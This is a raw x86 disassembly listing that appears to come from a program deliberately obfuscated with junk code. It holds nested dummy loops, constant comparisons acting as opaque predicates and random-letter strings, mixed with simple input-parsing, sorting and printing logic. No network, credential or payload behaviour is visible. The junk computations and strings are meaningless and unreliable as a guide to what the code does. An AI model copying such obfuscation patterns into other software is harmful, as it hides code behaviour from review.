call fcn.00417675
jmp 0x4d54fb
push dword [ebp - 0x1ef8]
push dword [ebp - 0x1efc]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d5482
jmp 0x4d545c
jmp 0x4d5436
jmp 0x4d5410
and dword [ebp - 0x82c], 0
jmp 0x4d5637
mov eax, dword [ebp - 0x82c]
inc eax
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 0x170e
jge 0x4d5674
mov eax, dword [ebp - 0xdf0]
xor eax, dword [ebp - 0x82c]
cdq
mov dword [ebp - 0x1f08], eax
mov dword [ebp - 0x1f04], edx
push dword [ebp - 0x1f04]
push dword [ebp - 0x1f08]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d562a
cmp dword [ebp - 0x1950], 0x6d58
jge 0x4d5690
mov edx, dword [ebp - 0x29b8]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d53bc
mov eax, dword [ebp - 0xdf4]
mov ecx, dword [ebp - 0x834]
shl eax, cl
mov ecx, dword [ebp - 0xf98]
imul ecx, dword [ebp - 0x83c]
sar eax, cl
cdq
mov dword [ebp - 0x1f20], eax
mov dword [ebp - 0x1f1c], edx
mov dword [ebp - 0x17f8], 0x250b
mov dword [ebp - 0x266c], str.recik_bxfeygcb_gphf_ketfqo_ktbx_pipp_sykydwlak_ogh
cmp dword [ebp - 0x17f8], 0x278e
jle 0x4d57bf
and dword [ebp - 0xdfc], 0
jmp 0x4d56f9
mov eax, dword [ebp - 0xdfc]
inc eax
mov dword [ebp - 0xdfc], eax
cmp dword [ebp - 0xdfc], 0x170f
jge 0x4d57bf
and dword [ebp - 0x844], 0
jmp 0x4d571f
mov eax, dword [ebp - 0x844]
inc eax
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x844], 0x3f6b
jge 0x4d57ba
and dword [ebp - 0xf8c], 0
jmp 0x4d5745
mov eax, dword [ebp - 0xf8c]
inc eax
mov dword [ebp - 0xf8c], eax
cmp dword [ebp - 0xf8c], 0x3ccd
jge 0x4d57b5
and dword [ebp - 0x84c], 0
jmp 0x4d5767
mov eax, dword [ebp - 0x84c]
inc eax
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x84c], 0x7d36
jge 0x4d57b3
mov eax, dword [ebp - 0xdfc]
imul eax, dword [ebp - 0x844]
mov ecx, dword [ebp - 0xf8c]
sub ecx, dword [ebp - 0x84c]
sar eax, cl
cdq
mov dword [ebp - 0x1f14], eax
mov dword [ebp - 0x1f10], edx
push dword [ebp - 0x1f10]
push dword [ebp - 0x1f14]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d575a
jmp 0x4d5738
jmp 0x4d5712
jmp 0x4d56ec
cmp dword [ebp - 0x1568], 0x76bb
jge 0x4d57db
mov edx, dword [ebp - 0x1d38]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x17f8], 0x2146
jge 0x4d57f7
mov edx, dword [ebp - 0x266c]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x1f1c]
push dword [ebp - 0x1f20]
lea ecx, [ebp - 0x3468]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3468]
call fcn.00401711
jmp 0x4d536a
jmp 0x4d50ca
jmp 0x4d50a4
jmp 0x4d507e
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0xf8]
inc eax
mov dword [ebp - 0xc14], eax
mov dword [ebp - 0x1598], 0x1254
mov dword [ebp - 0x1578], 0x59e5
mov dword [ebp - 0x28b0], str.poyeptlbx_homhplqb_qjas_iqjq_ktsdxef_nncvmv_hrl_ibmb_rie
cmp dword [ebp - 0x1578], 0x5c79
jle 0x4d5b2a
and dword [ebp - 0xe04], 0
jmp 0x4d5893
mov eax, dword [ebp - 0xe04]
inc eax
mov dword [ebp - 0xe04], eax
cmp dword [ebp - 0xe04], 0x26d8
jge 0x4d5b2a
and dword [ebp - 0x854], 0
jmp 0x4d58b9
mov eax, dword [ebp - 0x854]
inc eax
mov dword [ebp - 0x854], eax
cmp dword [ebp - 0x854], 0x76cf
jge 0x4d5b25
and dword [ebp - 0x10a4], 0
jmp 0x4d58df
mov eax, dword [ebp - 0x10a4]
inc eax
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0x10a4], 0x2e21
jge 0x4d5b20
and dword [ebp - 0x85c], 0
jmp 0x4d5905
mov eax, dword [ebp - 0x85c]
inc eax
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 0x7f79
jge 0x4d5b1b
mov eax, dword [ebp - 0xe04]
add eax, dword [ebp - 0x854]
mov ecx, dword [ebp - 0x10a4]
sub ecx, dword [ebp - 0x85c]
xor eax, ecx
cdq
mov dword [ebp - 0x1f2c], eax
mov dword [ebp - 0x1f28], edx
mov dword [ebp - 0x1d44], 0x169e
cmp dword [ebp - 0x1d44], 0xb67
jge 0x4d5ae4
lea ecx, [ebp - 0x2cb8]
call fcn.004016ac
lea edx, [ebp - 0x2cb8]
mov ecx, 0xac75e0
call fcn.0041c6ac
lea ecx, [ebp - 0x2cb8]
call fcn.0040175f
mov dword [ebp - 0xe0c], eax
push dword [ebp - 0xe0c]
lea ecx, [ebp - 0x2aec]
call fcn.004179d7
and dword [ebp - 0x128], 0
jmp 0x4d59a9
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0xe0c]
jge 0x4d5a70
mov eax, dword [ebp - 0xe0c]
dec eax
cmp dword [ebp - 0x128], eax
jne 0x4d5a11
push dword [ebp - 0x128]
lea ecx, [ebp - 0x2cb8]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x61
jne 0x4d59ef
mov dword [ebp - 0x1570], 1
jmp 0x4d59f6
and dword [ebp - 0x1570], 0
push dword [ebp - 0x128]
lea ecx, [ebp - 0x2aec]
call fcn.00417bb8
mov ecx, dword [ebp - 0x1570]
mov dword [eax], ecx
jmp 0x4d5a6b
push dword [ebp - 0x128]
lea ecx, [ebp - 0x2cb8]
call fcn.0040174b
movsx esi, byte [eax]
mov eax, dword [ebp - 0x128]
inc eax
push eax
lea ecx, [ebp - 0x2cb8]
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
je 0x4d5a4b
mov dword [ebp - 0x14ac], 1
jmp 0x4d5a52
and dword [ebp - 0x14ac], 0
push dword [ebp - 0x128]
lea ecx, [ebp - 0x2aec]
call fcn.00417bb8
mov ecx, dword [ebp - 0x14ac]
mov dword [eax], ecx
jmp 0x4d599c
and dword [ebp - 0x864], 0
jmp 0x4d5a86
mov eax, dword [ebp - 0x864]
inc eax
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x864]
cmp eax, dword [ebp - 0xe0c]
jge 0x4d5abf
push dword [ebp - 0x864]
lea ecx, [ebp - 0x2aec]
call fcn.00417bb8
push dword [eax]
mov ecx, 0xac7538
call fcn.00417681
mov edx, 0xab59f0
mov ecx, eax
call fcn.0041c2dd
jmp 0x4d5a79
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
lea ecx, [ebp - 0x2aec]
call fcn.00417aef
lea ecx, [ebp - 0x2cb8]
call fcn.00401711
push dword [ebp - 0x1f28]
push dword [ebp - 0x1f2c]
lea ecx, [ebp - 0x3948]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3948]
call fcn.00401711
jmp 0x4d58f8
jmp 0x4d58d2
jmp 0x4d58ac
jmp 0x4d5886
mov dword [ebp - 0x2684], str.dsdi_ewtss_cytlc_kuhd_klomkob_sptq_opjdxoaxu_gyjtbclcs_gyr_clqslndg_bfvexw
cmp dword [ebp - 0x1578], 0x570d
jge 0x4d5b4c
push dword [ebp - 0x28b0]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1598], 0x14a4
jle 0x4d615f
and dword [ebp - 0xf94], 0
jmp 0x4d5b72
mov eax, dword [ebp - 0xf94]
inc eax
mov dword [ebp - 0xf94], eax
cmp dword [ebp - 0xf94], 0x99c
jge 0x4d615f
and dword [ebp - 0x86c], 0
jmp 0x4d5b98
mov eax, dword [ebp - 0x86c]
inc eax
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x86c], 0x6deb
jge 0x4d615a
and dword [ebp - 0xe14], 0
jmp 0x4d5bbe
mov eax, dword [ebp - 0xe14]
inc eax
mov dword [ebp - 0xe14], eax
cmp dword [ebp - 0xe14], 0xd35
jge 0x4d6155
and dword [ebp - 0x874], 0
jmp 0x4d5be4
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x874], 0x2d25
jge 0x4d6150
mov eax, dword [ebp - 0xf94]
xor eax, dword [ebp - 0x86c]
mov ecx, dword [ebp - 0xe14]
add ecx, dword [ebp - 0x874]
or eax, ecx
cdq
mov dword [ebp - 0x1f44], eax
mov dword [ebp - 0x1f40], edx
mov dword [ebp - 0x1808], 0x287d
mov dword [ebp - 0x1d50], 0x17ff
cmp dword [ebp - 0x1d50], 0x454
jge 0x4d5ddb
lea eax, [ebp - 0x1800]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x1800]
lea ecx, [ebp - 0x1430]
call fcn.004179d7
and dword [ebp - 0x104c], 0
jmp 0x4d5c79
mov eax, dword [ebp - 0x104c]
inc eax
mov dword [ebp - 0x104c], eax
mov eax, dword [ebp - 0x104c]
cmp eax, dword [ebp - 0x1800]
jge 0x4d5ca7
push dword [ebp - 0x104c]
lea ecx, [ebp - 0x1430]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d5c6c
mov byte [ebp - 0x1a], 1
and dword [ebp - 0x1208], 0
movzx eax, byte [ebp - 0x1a]
test eax, eax
je 0x4d5dbe
mov byte [ebp - 0x1a], 0
lea ecx, [ebp - 0x2c74]
call fcn.004179ca
and dword [ebp - 0x4c], 0
mov esi, dword [ebp - 0x4c]
inc esi
lea ecx, [ebp - 0x1430]
call fcn.00417baf
cmp esi, eax
jae 0x4d5d13
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1430]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea ecx, [ebp - 0x1430]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x4d5d13
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
jmp 0x4d5cd1
lea ecx, [ebp - 0x1430]
call fcn.00417baf
cmp dword [ebp - 0x4c], eax
jae 0x4d5d8c
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1430]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x2c74]
call fcn.00417d45
mov esi, dword [ebp - 0x4c]
inc esi
lea ecx, [ebp - 0x1430]
call fcn.00417baf
cmp esi, eax
jae 0x4d5d83
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1430]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea ecx, [ebp - 0x1430]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x4d5d83
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x1a], 1
jmp 0x4d5d3d
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
jmp 0x4d5d13
lea eax, [ebp - 0x2c74]
push eax
lea ecx, [ebp - 0x1430]
call fcn.004e9b3c
movzx eax, byte [ebp - 0x1a]
add eax, dword [ebp - 0x1208]
mov dword [ebp - 0x1208], eax
lea ecx, [ebp - 0x2c74]
call fcn.00417aef
jmp 0x4d5cb2
push dword [ebp - 0x1208]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x1430]
call fcn.00417aef
mov dword [ebp - 0x1d68], str.dotvguqfq_mxy_kevcbru_vevgv_cfpflxq_ver_lxkpntt_ury_crsttrmro_lglguym
cmp dword [ebp - 0x1808], 0x2a50
jle 0x4d60fd
and dword [ebp - 0xe24], 0
jmp 0x4d5e0b
mov eax, dword [ebp - 0xe24]
inc eax
mov dword [ebp - 0xe24], eax
cmp dword [ebp - 0xe24], 0x6b0
jge 0x4d60fd
and dword [ebp - 0xf9c], 0
jmp 0x4d5e31
mov eax, dword [ebp - 0xf9c]
inc eax
mov dword [ebp - 0xf9c], eax
cmp dword [ebp - 0xf9c], 0x3818
jge 0x4d60f8
mov dword [ebp - 0x2674], 0x1a4d
cmp dword [ebp - 0x2674], 0x10a7
jge 0x4d6098
lea eax, [ebp - 0x1d5c]
push eax
lea eax, [ebp - 0x308]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
mov eax, dword [ebp - 0x1d5c]
shl eax, 3
cdq
idiv dword [ebp - 0x308]
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 0x15
jge 0x4d5ea3
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x1580], eax
jmp 0x4d5ead
mov dword [ebp - 0x1580], 0x15
mov eax, dword [ebp - 0x1580]
mov dword [ebp - 0x87c], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x87c]
shl eax, cl
mov dword [ebp - 0x2a70], eax
push dword [ebp - 0x308]
lea ecx, [ebp - 0x1a24]
call fcn.004179d7
and dword [ebp - 0xe1c], 0
jmp 0x4d5ef1
mov eax, dword [ebp - 0xe1c]
inc eax
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0xe1c]
cmp eax, dword [ebp - 0x308]
jge 0x4d5f1f
push dword [ebp - 0xe1c]
lea ecx, [ebp - 0x1a24]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d5ee4
lea eax, [ebp - 0x2eb8]
push eax
lea ecx, [ebp - 0x1a24]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2ec0]
push eax
lea ecx, [ebp - 0x1a24]
call fcn.00417af4
push dword [eax]
call fcn.0041c23e
pop ecx
pop ecx
and dword [ebp - 0x3a0], 0
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x884], eax
and dword [ebp - 0x1e0], 0
jmp 0x4d5f7f
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e0]
cmp eax, dword [ebp - 0x308]
jge 0x4d607b
cmp dword [ebp - 0x1e0], 0
je 0x4d5fc6
push dword [ebp - 0x1e0]
lea ecx, [ebp - 0x1a24]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x1e0]
dec eax
push eax
lea ecx, [ebp - 0x1a24]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x4d5fd3
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x430]
cmp eax, dword [ebp - 0x2a70]
jle 0x4d6029
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
push dword [ebp - 0x3a0]
lea ecx, [ebp - 0x1a24]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x3a0]
dec eax
push eax
lea ecx, [ebp - 0x1a24]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x4d6027
mov eax, dword [ebp - 0x430]
dec eax
mov dword [ebp - 0x430], eax
jmp 0x4d5fd3
mov eax, dword [ebp - 0x308]
dec eax
sub eax, dword [ebp - 0x1e0]
add eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x1958], eax
mov eax, dword [ebp - 0x884]
cmp eax, dword [ebp - 0x1958]
jge 0x4d605e
mov eax, dword [ebp - 0x884]
mov dword [ebp - 0x1588], eax
jmp 0x4d606a
mov eax, dword [ebp - 0x1958]
mov dword [ebp - 0x1588], eax
mov eax, dword [ebp - 0x1588]
mov dword [ebp - 0x884], eax
jmp 0x4d5f72
push dword [ebp - 0x884]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x1a24]
call fcn.00417aef
and dword [ebp - 0x88c], 0
jmp 0x4d60ae
mov eax, dword [ebp - 0x88c]
inc eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 0x341d
jge 0x4d60f3
mov ecx, dword [ebp - 0xf9c]
add ecx, dword [ebp - 0x88c]
mov eax, dword [ebp - 0xe24]
sar eax, cl
cdq
mov dword [ebp - 0x1f38], eax
mov dword [ebp - 0x1f34], edx
push dword [ebp - 0x1f34]
push dword [ebp - 0x1f38]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d60a1
jmp 0x4d5e24
jmp 0x4d5dfe
push dword [ebp - 0x1f40]
push dword [ebp - 0x1f44]
lea ecx, [ebp - 0x3498]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3498]
call fcn.00401711
cmp dword [ebp - 0x1808], 0x26c9
jge 0x4d614b
mov edx, dword [ebp - 0x1d68]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d5bd7
jmp 0x4d5bb1
jmp 0x4d5b8b
jmp 0x4d5b65
cmp dword [ebp - 0x1590], 0x7aa6
jge 0x4d62bc
mov dword [ebp - 0x19d0], 0x661
mov dword [ebp - 0x1d74], str.vsogjm_xlkv_xle_cjh_vinnyou_ukbll_mdccktvuo_fefpn_gfoytiqof_okvkxhx_hwhl
cmp dword [ebp - 0x19d0], 0x7dc
jle 0x4d6298
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
and dword [ebp - 0x89c], 0
jmp 0x4d61af
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0x214f
jge 0x4d6298
and dword [ebp - 0x894], 0
jmp 0x4d61d5
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 0x77c2
jge 0x4d6293
and dword [ebp - 0x10d4], 0
jmp 0x4d61fb
mov eax, dword [ebp - 0x10d4]
inc eax
mov dword [ebp - 0x10d4], eax
cmp dword [ebp - 0x10d4], 0x3f7f
jge 0x4d628e
and dword [ebp - 0xe2c], 0
jmp 0x4d6221
mov eax, dword [ebp - 0xe2c]
inc eax
mov dword [ebp - 0xe2c], eax
cmp dword [ebp - 0xe2c], 0x5efa
jge 0x4d6289
mov eax, dword [ebp - 0x894]
cdq
idiv dword [ebp - 0x10d4]
and edx, dword [ebp - 0x89c]
or edx, dword [ebp - 0xe2c]
mov eax, edx
cdq
mov dword [ebp - 0x1f50], eax
mov dword [ebp - 0x1f4c], edx
push dword [ebp - 0x1f4c]
push dword [ebp - 0x1f50]
lea ecx, [ebp - 0x3b40]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3b40]
call fcn.00401711
jmp 0x4d6214
jmp 0x4d61ee
jmp 0x4d61c8
jmp 0x4d61a2
push dword [ebp - 0x267c]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x19d0], 0x41f
jge 0x4d62bc
push dword [ebp - 0x1d74]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1598], 0x11b0
jge 0x4d6874
mov dword [ebp - 0x1818], 0x67ac
mov dword [ebp - 0x1d8c], str.owkwcmxg_poa_kla_tmtn_agvdocg_rkhey_bkf_vvf_qgv_lccfrrhxo_xep
cmp dword [ebp - 0x1818], 0x6a84
jle 0x4d6850
and dword [ebp - 0xe34], 0
jmp 0x4d6306
mov eax, dword [ebp - 0xe34]
inc eax
mov dword [ebp - 0xe34], eax
cmp dword [ebp - 0xe34], 0xc8c
jge 0x4d6850
and dword [ebp - 0x8ac], 0
jmp 0x4d632c
mov eax, dword [ebp - 0x8ac]
inc eax
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 0x63b9
jge 0x4d684b
and dword [ebp - 0x8a4], 0
jmp 0x4d6352
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 0x4c75
jge 0x4d6846
and dword [ebp - 0xfa4], 0
jmp 0x4d6378
mov eax, dword [ebp - 0xfa4]
inc eax
mov dword [ebp - 0xfa4], eax
cmp dword [ebp - 0xfa4], 0x37ed
jge 0x4d6841
mov dword [ebp - 0x28b8], 0x1573
cmp dword [ebp - 0x28b8], 0x6be
jge 0x4d6549
lea ecx, [ebp - 0x29a4]
call fcn.004179ca
lea ecx, [ebp - 0x2994]
call fcn.004179ca
lea eax, [ebp - 0x4a0]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp eax, 1
jne 0x4d6533
lea ecx, [ebp - 0x29a4]
call fcn.00417bf9
lea ecx, [ebp - 0x2994]
call fcn.00417bf9
and dword [ebp - 0x1320], 0
jmp 0x4d6400
mov eax, dword [ebp - 0x1320]
inc eax
mov dword [ebp - 0x1320], eax
mov eax, dword [ebp - 0x1320]
cmp eax, dword [ebp - 0x4a0]
jge 0x4d644f
lea eax, [ebp - 0x2ea4]
push eax
lea eax, [ebp - 0x2f20]
push eax
push str._lf__lf
call fcn.004f117c
add esp, 0xc
lea eax, [ebp - 0x2f20]
push eax
lea ecx, [ebp - 0x29a4]
call fcn.004e9ef5
lea eax, [ebp - 0x2ea4]
push eax
lea ecx, [ebp - 0x2994]
call fcn.004e9ef5
jmp 0x4d63f3
push dword [ebp - 0x4a0]
push 0xab5680
call fcn.004f1488
pop ecx
pop ecx
and dword [ebp - 0x230], 0
jmp 0x4d6477
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0x4a0]
jge 0x4d6523
push dword [ebp - 0x230]
lea ecx, [ebp - 0x2994]
call fcn.00417fcc
mov esi, eax
mov eax, dword [ebp - 0x230]
inc eax
cdq
idiv dword [ebp - 0x4a0]
push edx
lea ecx, [ebp - 0x2994]
call fcn.00417fcc
movsd xmm0, qword [esi]
addsd xmm0, qword [eax]
divsd xmm0, qword [0xac2b30]
push ecx
push ecx
movsd qword [esp], xmm0
push dword [ebp - 0x230]
lea ecx, [ebp - 0x29a4]
call fcn.00417fcc
mov esi, eax
mov eax, dword [ebp - 0x230]
inc eax
cdq
idiv dword [ebp - 0x4a0]
push edx
lea ecx, [ebp - 0x29a4]
call fcn.00417fcc
movsd xmm0, qword [esi]
addsd xmm0, qword [eax]
divsd xmm0, qword [0xac2b30]
push ecx
push ecx
movsd qword [esp], xmm0
push str.__.6lf__.6lf
call fcn.004f1488
add esp, 0x14
jmp 0x4d646a
push 0xab57b8
call fcn.004f1488
pop ecx
jmp 0x4d63b8
lea ecx, [ebp - 0x2994]
call fcn.00417aef
lea ecx, [ebp - 0x29a4]
call fcn.00417aef
mov eax, dword [ebp - 0x8a4]
cdq
idiv dword [ebp - 0xfa4]
and edx, dword [ebp - 0x8ac]
xor edx, dword [ebp - 0xe34]
mov eax, edx
cdq
mov dword [ebp - 0x1f5c], eax
mov dword [ebp - 0x1f58], edx
mov dword [ebp - 0x1d80], 0x15ef
cmp dword [ebp - 0x1d80], 0xfcd
jge 0x4d680a
lea eax, [ebp - 0x1210]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x1210]
lea ecx, [ebp - 0x11a4]
call fcn.004179d7
and dword [ebp - 0x8b4], 0
jmp 0x4d65c5
mov eax, dword [ebp - 0x8b4]
inc eax
mov dword [ebp - 0x8b4], eax
mov eax, dword [ebp - 0x8b4]
cmp eax, dword [ebp - 0x1210]
jge 0x4d65f3
push dword [ebp - 0x8b4]
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d65b8
push 0
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4d6611
mov dword [ebp - 0x1810], 1
jmp 0x4d6618
and dword [ebp - 0x1810], 0
mov eax, dword [ebp - 0x1810]
mov dword [ebp - 0x3a8], eax
push 0
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 2
jne 0x4d6642
mov dword [ebp - 0x15a0], 1
jmp 0x4d6649
and dword [ebp - 0x15a0], 0
mov eax, dword [ebp - 0x15a0]
mov dword [ebp - 0x438], eax
and dword [ebp - 0x13f0], 0
and dword [ebp - 0x1054], 0
mov dword [ebp - 0x9c], 1
jmp 0x4d667c
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x1210]
jge 0x4d67ea
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4d66ce
mov eax, dword [ebp - 0x9c]
dec eax
push eax
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4d66ce
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
jmp 0x4d677d
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 2
jne 0x4d670b
mov eax, dword [ebp - 0x9c]
dec eax
push eax
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 2
jne 0x4d670b
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
jmp 0x4d677d
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4d6745
mov eax, dword [ebp - 0x9c]
dec eax
push eax
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 2
jne 0x4d6745
mov dword [ebp - 0x3a8], 1
jmp 0x4d677d
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 2
jne 0x4d677d
mov eax, dword [ebp - 0x9c]
dec eax
push eax
lea ecx, [ebp - 0x11a4]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4d677d
mov dword [ebp - 0x438], 1
mov eax, dword [ebp - 0x3a8]
cmp eax, dword [ebp - 0x438]
jge 0x4d6799
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x1960], eax
jmp 0x4d67a5
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x1960], eax
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x13f0], eax
mov eax, dword [ebp - 0x1054]
cmp eax, dword [ebp - 0x13f0]
jle 0x4d67cd
mov eax, dword [ebp - 0x1054]
mov dword [ebp - 0x15a8], eax
jmp 0x4d67d9
mov eax, dword [ebp - 0x13f0]
mov dword [ebp - 0x15a8], eax
mov eax, dword [ebp - 0x15a8]
mov dword [ebp - 0x1054], eax
jmp 0x4d666f
mov eax, dword [ebp - 0x1054]
shl eax, 1
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x11a4]
call fcn.00417aef
push dword [ebp - 0x1f58]
push dword [ebp - 0x1f5c]
lea ecx, [ebp - 0x34c8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x34c8]
call fcn.00401711
jmp 0x4d636b
jmp 0x4d6345
jmp 0x4d631f
jmp 0x4d62f9
push dword [ebp - 0x2684]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1818], 0x6533
jge 0x4d6874
push dword [ebp - 0x1d8c]
call fcn.004f1488
pop ecx
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0xf8]
mov ecx, dword [ebp - 0x5c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x15c0], 0x4db3
mov dword [ebp - 0x1df8], str.hlgmjmc_hmuyw_qsjsmq_qhcfh_rqrp_ddrwfery_gidtjgtbk_nlgllrf_avoujnl_haba_riebxdl_fbww_gahxqok
mov dword [ebp - 0x29c8], 0x1a2a
cmp dword [ebp - 0x29c8], 0xb1b
jge 0x4d6997
lea eax, [ebp - 0x1218]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x1220], 0
mov eax, dword [ebp - 0x1218]
mov dword [ebp - 0x1d98], eax
mov eax, dword [ebp - 0x1218]
dec eax
mov dword [ebp - 0x1218], eax
cmp dword [ebp - 0x1d98], 0
je 0x4d696c
lea eax, [ebp - 0x1328]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x3b0], 1
mov dword [ebp - 0x15b0], 1
mov eax, dword [ebp - 0x1328]
cmp eax, dword [ebp - 0x3b0]
jl 0x4d6955
mov eax, dword [ebp - 0x1328]
sub eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x1328], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x15b0], eax
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
jmp 0x4d691a
mov eax, dword [ebp - 0x1220]
xor eax, dword [ebp - 0x15b0]
mov dword [ebp - 0x1220], eax
jmp 0x4d68d1
cmp dword [ebp - 0x1220], 0
je 0x4d6981
mov dword [ebp - 0x1a58], 0xab5938
jmp 0x4d698b
